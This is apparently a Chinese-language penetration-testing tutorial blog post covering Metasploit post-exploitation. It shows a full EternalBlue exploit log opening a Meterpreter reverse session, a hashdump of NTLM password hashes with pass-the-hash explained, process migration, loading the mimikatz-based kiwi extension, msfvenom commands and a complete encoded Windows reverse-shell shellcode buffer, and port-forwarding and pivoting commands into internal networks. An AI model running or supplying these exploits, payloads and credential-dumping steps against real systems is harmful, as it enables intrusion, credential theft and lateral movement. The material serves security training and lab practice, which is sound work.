[*] 10.10.206.116:445 - 0x00000020  69 63 65 20 50 61 63 6b 20 31                    ice Pack 1
[+] 10.10.206.116:445 - Target arch selected valid for arch indicated by DCE/RPC reply
[*] 10.10.206.116:445 - Trying exploit with 17 Groom Allocations.
[*] 10.10.206.116:445 - Sending all but last fragment of exploit packet
[*] 10.10.206.116:445 - Starting non-paged pool grooming
[+] 10.10.206.116:445 - Sending SMBv2 buffers
[+] 10.10.206.116:445 - Closing SMBv1 connection creating free hole adjacent to SMBv2 buffer.
[*] 10.10.206.116:445 - Sending final SMBv2 buffers.
[*] 10.10.206.116:445 - Sending last fragment of exploit packet!
[*] 10.10.206.116:445 - Receiving response from exploit packet
[+] 10.10.206.116:445 - ETERNALBLUE overwrite completed successfully (0xC000000D)!
[*] 10.10.206.116:445 - Sending egg to corrupted connection.
[*] 10.10.206.116:445 - Triggering free of corrupted buffer.
[*] Sending stage (200774 bytes) to 10.10.206.116
[*] Meterpreter session 2 opened (10.18.71.25:4444 -> 10.10.206.116:49247) at 2023-08-02 12:36:23 -0400
[+] 10.10.206.116:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.206.116:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-WIN-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=
[+] 10.10.206.116:445 - =-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

meterpreter >

aaa

Stdapi: File system Commands
============================

    Command       Description
    -------       -----------
    cat           Read the contents of a file to the screen
    cd            Change directory
    checksum      Retrieve the checksum of a file
    cp            Copy source to destination
    del           Delete the specified file
    dir           List files (alias for ls)
    download      Download a file or directory
    edit          Edit a file
    getlwd        Print local working directory
    getwd         Print working directory
    lcat          Read the contents of a local file to the screen
    lcd           Change local working directory
    lls           List local files
    lpwd          Print local working directory
    ls            List files
    mkdir         Make directory
    mv            Move source to destination
    pwd           Print working directory
    rm            Delete the specified file
    rmdir         Remove directory
    search        Search for files
    show_mount    List all mount points/logical drives
    upload        Upload a file or directory

像這個File System裡Download 或者是LS, MKDIR, MV,其實都跟 Linux 很像,那這些指令很多東西在 Windows 上面是不能 work 的,但是有了 Meterpreter就等於是幫你包起來這樣子。除了上傳、下載,然後有這個 HashDump:

Priv: Password database Commands
================================

    Command       Description
    -------       -----------
    hashdump      Dumps the contents of the SAM database

它可以抓出 Windows一個叫 SAM Database,它其實就像是 Linux 的 Shadow。SAN 檔案它的全名叫Security Account Manager,原則上來說這個 SAN 檔案是被 Lock 起來的,但是 Metasploit 它就是寫了一個 Module可以讓攻擊者去秀出說這個檔案,所以這個SAN 檔案它其實是比Linux 中提到的這種Shadow 檔案還要更為嚴謹。因為像 Linux 的Shadow 檔案你如果是 Root 的話你是可以觀看並且修改,但是如果在Windows 底下它並不是這麼一回事。這個 SAN 檔案你儘管是 Local的 Administrator或者是 NT-Authority System,都沒有辦法去更改。

那當你打開來就可以看到這個是 Windows Format 的Shadow 檔案,可以看到它這邊有使用者名稱Administrator、Guest,然後 Jon,那這邊是類似User ID、那 500 通常是權限高的。那後面這邊是NTLM Hash,這一串 Hash當然也可以拿去做破解。

meterpreter > hashdump
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Jon:1000:aad3b435b51404eeaad3b435b51404ee:ffb43f0de35be4d9917ac0cc8ad57f8d:::

大家可以看一下這三個 Hash其實是不一樣的,NTLM Hash前面都會一樣,都是這個aad然後什麼什麼什麼ee,不一樣的其實是後面這一串,這才是它真正的 Hash,我們要拿去做破解的部分。這個也算是一個攻擊的思路,如果說可以讀寫你的這個 SAM 檔案的話,那等於就是拿到了Windows 的密碼檔案,裝的是NTLM 的 hash,可以用impacket出的一個工具samrdump去做暴力破解。

Dump 它的 Hash後也可以拿來做像是 Pass the Hash,簡單大意就是說,我就算破解不了你的 Hash,我仍然有辦法我就直接拿這串文字登入。有人可能會問說為什麼要這樣設計,它的概念是我今天想要讓不只一個人登入這個Jon 的帳戶,但是我又不想告訴大家這個 Jon 的 Password 其實是這個 Password,所以 Windows 才會設計: 好,那我就給你這一串,我雖然不告訴你我的密碼,但是我給你我的 Hash,你可以拿我的這個 Hash去做登入,這個是 Windows 的一個機制叫 Pass the Hash。

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM

這個getuid就像是Linux 的whoami,它會告訴你說你的使用者權限是什麼,如果你只是一個低權限的使用者的話,可以嘗試使用這個 Get System做提權:

Priv: Elevate Commands
======================

    Command       Description
    -------       -----------
    getsystem     Attempt to elevate your privilege to that of local system.

Meterpreter 還有一個功能叫 Migrate,它的目的是,假設你今天是在一個每固定 15 分鐘會重新啟動一次的 Service上面好了,假設你透過這個 Service 拿到 Shell後,你可以預期你過 15 分鐘或一段時間之內,你可能會失去掉你原本這個 Meterpreter 的 Shell,這個時候我們可以透過Migrate,將我這個 Meterpreter跳轉到其他的 Process。

meterpreter > migrate
Usage: migrate <<pid> | -P <pid> | -N <name>> [-t timeout]

Migrates the server instance to another process.
NOTE: Any open channels or other dynamic state will be lost.

那這個 Migrate 過程我們首先需要的是process id(pid),我們可以用ps (Process List)列出來這台 Windows 底下所有的 Process。有人可能會問這個 PPID 是什麼,它是 Parent PID也就是它的母 Process。這個比較不會用到,我們用到的通常就是 PID。但是這邊要注意一下,假設你Migrate 到了一個低權限的Process,那你的權限也會跟著降低,所以大家以後如果在做Process Migration 的話,可以稍微看一下 User 這個地方,要先確保說你 Migrate 出去之後你的權限至少要一樣,盡量不要下降。除非說你特別需要這一個使用者。那通常會建議就是要給一樣的權限,才不會失去你的權限。因為你Migrate 到一個低權限的話你是回不來的,因為你權限已經不夠了。

meterpreter > ps

Process List
============

 PID   PPID  Name               Arch  Session  User                          Path
 ---   ----  ----               ----  -------  ----                          ----
 0     0     [System Process]
 4     0     System             x64   0
 356   716   svchost.exe        x64   0        NT AUTHORITY\LOCAL SERVICE
 416   4     smss.exe           x64   0        NT AUTHORITY\SYSTEM           \SystemRoot\System32\smss.exe
 464   668   LogonUI.exe        x64   1        NT AUTHORITY\SYSTEM           C:\Windows\system32\LogonUI.exe
 472   716   svchost.exe        x64   0        NT AUTHORITY\SYSTEM
 484   716   svchost.exe        x64   0        NT AUTHORITY\SYSTEM
 572   564   csrss.exe          x64   0        NT AUTHORITY\SYSTEM           C:\Windows\system32\csrss.exe
 620   564   wininit.exe        x64   0        NT AUTHORITY\SYSTEM           C:\Windows\system32\wininit.exe
 628   612   csrss.exe          x64   1        NT AUTHORITY\SYSTEM           C:\Windows\system32\csrss.exe
 668   612   winlogon.exe       x64   1        NT AUTHORITY\SYSTEM           C:\Windows\system32\winlogon.ex
                                                                             e
 712   716   sppsvc.exe         x64   0        NT AUTHORITY\NETWORK SERVICE
 716   620   services.exe       x64   0        NT AUTHORITY\SYSTEM           C:\Windows\system32\services.ex
                                                                             e
 724   620   lsass.exe          x64   0        NT AUTHORITY\SYSTEM           C:\Windows\system32\lsass.exe
 732   620   lsm.exe            x64   0        NT AUTHORITY\SYSTEM           C:\Windows\system32\lsm.exe
 840   716   svchost.exe        x64   0        NT AUTHORITY\SYSTEM
 908   716   svchost.exe        x64   0        NT AUTHORITY\NETWORK SERVICE
 956   716   svchost.exe        x64   0        NT AUTHORITY\LOCAL SERVICE
 1112  716   svchost.exe        x64   0        NT AUTHORITY\LOCAL SERVICE
 1220  716   svchost.exe        x64   0        NT AUTHORITY\NETWORK SERVICE
 1348  716   spoolsv.exe        x64   0        NT AUTHORITY\SYSTEM           C:\Windows\System32\spoolsv.exe
 1384  716   svchost.exe        x64   0        NT AUTHORITY\LOCAL SERVICE
 1448  716   amazon-ssm-agent.  x64   0        NT AUTHORITY\SYSTEM           C:\Program Files\Amazon\SSM\ama
             exe                                                             zon-ssm-agent.exe
 1520  716   LiteAgent.exe      x64   0        NT AUTHORITY\SYSTEM           C:\Program Files\Amazon\XenTool
                                                                             s\LiteAgent.exe
 1580  840   WmiPrvSE.exe
 1652  716   Ec2Config.exe      x64   0        NT AUTHORITY\SYSTEM           C:\Program Files\Amazon\Ec2Conf
                                                                             igService\Ec2Config.exe
 1980  716   svchost.exe        x64   0        NT AUTHORITY\NETWORK SERVICE
 2476  716   svchost.exe        x64   0        NT AUTHORITY\SYSTEM
 2516  716   vds.exe            x64   0        NT AUTHORITY\SYSTEM
 2664  716   SearchIndexer.exe  x64   0        NT AUTHORITY\SYSTEM
 2996  716   TrustedInstaller.  x64   0        NT AUTHORITY\SYSTEM
             exe

Metasploit提供滿多Plugin,這邊可以做個範例。我們可以去load 一些他有幫你寫好但是沒有自動load 出來的,比如說有常見的像是 PowerShell,或者是 Kiwi,那這個 Kiwi 其實是 Mimikatz。Mimikatz就是一個做 Credential Dumping,跟剛剛的這個 Hash Dump有一點類似。

meterpreter > load -l
bofloader
espia
extapi
incognito
kiwi
lanattacks
peinjector
powershell
priv
python
sniffer
stdapi
unhook
winpmem

我看一下,那我這邊load 一個 PowerShell 好了,之後我們再按一次 Help,那這邊就會出現,喔我這邊有新的Help 的Banner 出現,那我們就可以直接使用,比如說 PowerShell或是 PowerShell 的 Shell。

meterpreter > load powershell
Loading extension powershell...Success.
meterpreter > help

...

Powershell Commands
===================

    Command       Description
    -------       -----------
    powershell_e  Execute a Powershell command string
    xecute
    powershell_i  Import a PS1 script or .NET Assembly DLL
    mport
    powershell_s  Remove/clear a session (other than default)
    ession_remov
    e
    powershell_s  Create an interactive Powershell prompt
    hell

有人可能會問說這不是我直接打一個 Shell 也可以嗎? 像是這樣子:

meterpreter > shell
Process 820 created.
Channel 1 created.
Microsoft Windows [Version 6.1.7601]
Copyright (c) 2009 Microsoft Corporation.  All rights reserved.

C:\Windows\system32>

比起你直接用這種 Shell ,PowerShell這個 Plugin會比較穩定,我自己的經驗是這個單純的 Shell 有時候容易當機。那當機也沒關係,你可以按這個Ctrl + Z,然後來 Background Channel,你按 Yes 就可以了。要回來的方法也是很簡單,Channel - L列出你目前有哪些Channel,那要看的是這個 ID,然後在 Channel 加一個 I 來選擇你要的 Channel做 Interaction,這樣的話就又回來了。

C:\Windows\system32>^Z
Background channel 1? [y/N]  y
meterpreter > channel -l

    Id  Class  Type
    --  -----  ----
    1   3      stdapi_process

meterpreter > channel -i 1
Interacting with channel 1...

簡單介紹Thread 跟 Process。簡單來說Windows 這個系統,你開一個 IE 瀏覽器或者是你開一個小算盤,把所有的東西包成一個 Process 的概念。這個 Process 它只是一個空殼,它會在裡面放一些有的沒的資料,比如說我可以記錄我的 Stack、Heap 或者是一些意外處理、SEH 資料的參數。但是比如說你的小算盤要跑起來,它其實是要靠 Thread,因為這個 Thread 裡面才是真的執行你的 Assembly,應該說是執行你的 Binary。所有真正的執行檔,他的資料是透過 Thread 來跑起來的,這大概是Thread 跟 Process 最大的差別。

所以剛剛在前面它這邊的 exit Function,就是告訴你跳出的時候你會以怎麼樣的情況跳出。像我們剛剛這邊設定的是 Thread,也就是說比如說我今天 Attach我的這個攻擊,它會 Attach 到小算盤上面。那如果我用 Thread,它會直接把正在執行的小算盤的 Thread給關掉,一個 Process 如果沒有 Thread的話它其實是個空殼,沒有任何作用。所以我才會說這個 exit Function 會建議把它改成 Process,因為這個 Process 它是新開的,所以它會新開一個 Thread,等於是兩條 Thread 並行。所以你關掉了Metasploit 的 Thread沒關係,你原本的小算盤,你原本的 RDP 或是 SMB它的整個該執行的東西還是在的。

那個 Bind Shell 跟 Reverse Shell。在 Metasploit 實作上面,如果你是 Bind Shell 的話,假設你今天發了一個攻擊這個 Metasploit 會把所有的 Payload 全部塞在一塊,連著它的Exploit 的 Code、Traffic 一起丟到 Target 上面,這樣子的話它的攻擊 Traffic 會變得很肥一包。如果今天你用的是 Reverse Shell 的話,它的做法是分成兩個階段,第一階段是單純的 Exploit,確定攻擊 Work 之後,在第二階段呼叫回原本的Kali Machine,它自己的 Metasploit Server 這邊,它會要第二階段的 Payload,這個第二階段的Payload才是真正Meterpreter 的 Payload,才是你 Shell 的 Payload。這樣有幾個好處,第一個就是如果說你今天是有防火牆在擋,那會建議用這種 Reverse Shell,它的隱蔽性會比較好。因為它等於說每一次只會給你一點的東西,一點一點給這樣子,那這是穩定性的部分。

介紹一個Metasploit 底下的工具msfvenom。它是一個Payload 產生工具。使用的時機,比如說你可以做 Remote Code Execution,或者是在你的目標執行一些Python 或者是 PHP,這個時候我們可以透過msfvenom 來產生我們想要程式語言的Reverse Shell。這邊注意一下,如果說你今天它有限定你Traffic的大小,你不能塞一個像是 Bind Shell 這種很肥的,只是要一個簡單的 POC 的時候,你也可以產生一個像是小算盤的msfvenom 的 Payload。

使用方法大概是這樣:

msfvenom -a x86 --platform Windows -p windows/shell/reverse_tcp -f exe
msfvenom -a x86 --platform windows -p windows/messagebox TEXT="MSF Example" -f raw > message_Box

-P 最重要的就是我們的 Payload,它其實就像剛剛我們在Dashboard 上面所提到的這個 Windows,比如說這個 Windows Shell Reverse TCP,那最後一個 -F,它就是一個 EXE 的 Payload。

msfvenom給大家一些思路,就是跟剛剛所提到的,你在做 Payload 的時候你盡量用 Reverse Shell,第二個是用 Reverse HTTPS 的 Payload,隱蔽性會比較好。

msfvenom有很多不同的 Payload,可以 Output 的方法也很多,比如說我要 Python,還有之後會提到的一個概念 Bad Char,純 Binary 的 Payload 的時候可能會有目標它不吃某些常見的Bad Char,像是0x00、0x0a,不吃的原因,因為0x0a 跟 0x0d是HTTP 的換行,所以通常當你在做 Payload 的時候,這三個幾乎是必備,我們不要這三個 Bad Char。msfvenom也可以做成一個,比如說這邊給它 1.exe,那可以看一下它的 Payload,如果是剛剛我們的Python Payload 的話,可以看到它會針對Python 的格式然後給你一個Python 看得懂的一個 Payload,那這邊它是用 buf 來做定義。

┌──(root㉿kali)-[~]
└─# msfvenom -a x86 --platform Windows -p windows/shell/reverse_tcp -b \x00\x0a\x0d -f python > 1.exe
Found 12 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 381 (iteration=0)
x86/shikata_ga_nai chosen with final size 381
Payload size: 381 bytes
Final size of python file: 1887 bytes

┌──(root㉿kali)-[~]
└─# cat 1.exe
buf =  b""
buf += b"\xdb\xd4\xd9\x74\x24\xf4\xb8\x81\x1a\xde\xb1\x5b"
buf += b"\x2b\xc9\xb1\x59\x83\xeb\xfc\x31\x43\x15\x03\x43"
buf += b"\x15\x63\xef\x22\x59\xec\x10\xdb\x9a\x92\x21\x09"
buf += b"\xfe\xd9\x10\x9d\x76\x38\x1f\x8f\x84\x49\x72\x24"
buf += b"\x9a\xfa\x39\x62\x2f\x76\x96\x5b\xd0\x47\x26\x37"
buf += b"\x12\xc6\xda\x4a\x47\x28\xe2\x84\x9a\x29\x23\x53"
buf += b"\xd0\xc6\xf9\xef\x48\x08\x75\xad\x50\x7f\x88\xe2"
buf += b"\x22\x3f\xf2\x87\xf5\xcb\x4e\x89\x25\x63\xc4\xc1"
buf += b"\xdd\x08\x82\xf1\xdc\xdd\xb6\x3b\xaa\xdd\x89\x44"
buf += b"\x1a\x96\xde\x31\x9c\x7e\x2f\x86\x5e\xb1\x5d\xaa"
buf += b"\x60\x8a\x66\x52\x17\xe0\x94\xef\x20\x33\xe6\x2b"
buf += b"\xa4\xa3\x40\xbf\x1e\x07\x70\x6c\xf8\xcc\x7e\xd9"
buf += b"\x8e\x8a\x62\xdc\x43\xa1\x9f\x55\x62\x65\x16\x2d"
buf += b"\x41\xa1\x72\xf5\xe8\xf0\xde\x58\x14\xe2\x87\x05"
buf += b"\xb0\x69\x25\x53\xc4\x92\xb5\x5c\x98\x04\x79\x91"
buf += b"\x23\xd4\x15\xa2\x50\xe6\xba\x18\xff\x4a\x32\x87"
buf += b"\xf8\xdb\x54\x38\xd6\x63\x34\xc6\xd7\x93\x1c\x0d"
buf += b"\x83\xc3\x36\xa4\xac\x88\xc6\x49\x79\x24\xcd\xdd"
buf += b"\x42\x10\xc3\xdc\x2b\x62\xe4\xcf\xf7\xeb\x02\xbf"
buf += b"\x57\xbb\x9a\x00\x08\x7b\x4b\xe9\x42\x74\xb4\x09"
buf += b"\x6d\x5f\xdd\xa0\x82\x09\xb5\x5c\x3a\x10\x4d\xfc"
buf += b"\xc3\x8f\x2b\x3e\x4f\x25\xcb\xf1\xb8\x4c\xdf\xe6"
buf += b"\xde\xae\x1f\xf7\x4a\xae\x75\xf3\xdc\xf9\xe1\xf9"
buf += b"\x39\xcd\xad\x02\x6c\x4e\xa9\xfd\xf1\x66\xc1\xc8"
buf += b"\x67\xc6\xbd\x34\x68\xc6\x3d\x63\xe2\xc6\x55\xd3"
buf += b"\x56\x95\x40\x1c\x43\x8a\xd8\x89\x6c\xfa\x8d\x1a"
buf += b"\x05\x00\xeb\x6d\x8a\xfb\xde\xed\xcd\x03\x9c\xd9"
buf += b"\x75\x6b\x5e\x5a\x86\x6b\x34\x5a\xd6\x03\xc3\x75"
buf += b"\xd9\xe3\x2c\x5c\xb2\x6b\xa6\x31\x70\x0a\xb7\x1b"
buf += b"\xd4\x92\xb8\xa8\xcd\x25\xc2\xc1\xf2\xc6\x33\xc8"
buf += b"\x96\xc7\x33\xf4\xa8\xf4\xe5\xcd\xde\x3b\x36\x6a"
buf += b"\xd0\x0e\x1b\xdb\x7b\x70\x0f\x1b\xae"

Port Forwarding

下一個是 Port Forwarding。在滲透測試之中你可能會遇到不對外開放的機器,你要做的事情是拿已經持有的機器當作一個跳板,給大家看一下:

      |
Kali ---防火牆--- Web Server ---- Machine A
      |

在這個圖上面,當我們是在Kali 的攻擊機器,我們可以跟目標的Web Server 有一個直接的聯繫,只是說中間會有一個防火牆。但是這個 Web Server他可能還連著一些其他的可能是他內網的機器,可能不只這個 Machine A可能有 Machine B, C, D,但是這些其他的 Machine並沒有直接的連外網,那我們要怎麼去找到他呢?

那這時候我們的思路,就是當我們攻破了一台這個 Web Server,因為我們已經完全的持有他的權限了,我們可以把他當跳板再去針對內網。比如來說這個 Web Server 可能是什麼192.168.1.1,那這個 Machine A可能會是在一個10.10.1.1 的這種比較大的的 Network。所以當我們在在這個 Web Server查看它的IP Config 的時候,他可能會出現兩個 Interface,一個就是他自己的192.168.1.1的 Interface,第二個可能會是這個10.10.1的 Interface。

在這個時候,我們當然可以說我要在這個 Web Server 上面用這個 ARP去檢查他有沒有其他的 Network,如果有的話可能就不會只有這個10的這個Subnet,可能會有其他的。當我們發現的話,我們可以用Port Forward這個指令,大概簡單介紹一下他的用法:

portfwd add –l 3389 –p 3389 –r [Machine A IP Address]

假設我今天我要連上去 Machine A 的RDP,也就是 Port 3389,那我就可以透過這個 Port Forward Add -L然後 3389--這是Web Server的3389,那接下來我要有一個 -p,那這個 P 就是目標的 Port,也是 3389,最後加上一個 R 就是 Remote 的 IP。

好,那下一個大家可能會說,喔,如果說你有很多個機器,你做 Machine A,那我每掃一次就要加一次,那不是很麻煩嗎? 所以才會有接下來要介紹的Dynamic Port Forwarding,或者是我們可以叫 Pivoting,就是跳板的意思。

剛剛我們提到這個 Port Forward是針對單一機器,那如果你想針對整個網段,比如說這邊就給了一個例子:

      防火牆                    內網網段(172.16.1.0/16)
       ||              
       ||   192.168.10.100  -- File Server        172.16.1.1
       ||   172.16.10.100  |
Kali ======> Web Server ------ Database Server    172.16.1.2
       ||    (SSH Open)    |
       ||                  |-- Host A             172.16.1.3
       ||                  |
       ||                   -- Host B             172.16.1.4

我們想要做這種Port Forwarding 的話,我們想要進到內網,我們一樣是在攻擊端的kali,那我們的目標也是唯一連外網的Web Server,它這邊可能看到有兩個Interface,一個是192.168.10的 Interface,另一個是 172.16.10的 Interface,那這個172.16就是內網的部分。內網的網段含有 File Server、Database Server 或是Host A, Host B 這樣子。這個時候如果說我們已經有了一個Meterpreter 的 Session,那Metasploit也有針對這樣子情況所提供一些工具。詳細用法請參照:

滲透測試進階技術-Pivoting & Double Pivoting(1)

滲透測試進階技術-Pivoting & Double Pivoting(2)

那如果說不用Metasploit,我們可以用 SSH 來做,那它的做法就比較簡單,是ssh -D ...,這邊當然對方的 SSH要有開,連上去之後它自己就可以做 Pivoting。但是這邊也是一樣要 Config 這個Sock S4跟對應的 IP,那這個 IP 也可以在這個 SSH上面直接設定說我要用哪一個 Port。然後去連目標主機背後的Domain 的 Network。那如果說單純做 Pivoting 的話,是用 SSH 會比較方便。那另外一個工具叫 Chisel,也是做這種 Pivoting。

有時候網路資訊裡面可能看到有一個只開在target local段的一個服務,那這時候我們可以怎麼做?我們知道只有開local段的服務,基本上就是完全的內網服務,不會開任何的外部port到外面。假設他是開一個ftp的local的服務的話,你在nmap在外面掃的時候,是完全掃不到這個ftp的,因為他是開在內網,對外面的人來說他是沒有開啟這個服務的。

當然ftp的話,我們進到這個target machine裡面的時候用原生的ftp的指令就可以直接做連線,但這時候會遇到幾個問題。假設他今天開的這個local段的服務比較複雜,或是他的response比較多,或是說他的payload比較複雜麻煩的時候,那我們除了上傳一個binary,或是其他的各種各樣的東西後再執行以外還有什麼辦法?

那這邊就可以用到Port forwarding的辦法,要說無檔案也是可以,因為這樣我們就不需要上傳檔案。

Tunneling and Port Forwarding - HackTricks

考試的話基本上是不會用到Metasploit,Lab 上我自己的經驗是也不太會用到。










Related Posts

Terms of Use 會員服務條款

Terms of Use 會員服務條款

從 V8 bytecode 探討 let 與 var 的效能問題

從 V8 bytecode 探討 let 與 var 的效能問題

CH4. 老手看函式:理解函式呼叫

CH4. 老手看函式:理解函式呼叫


Comments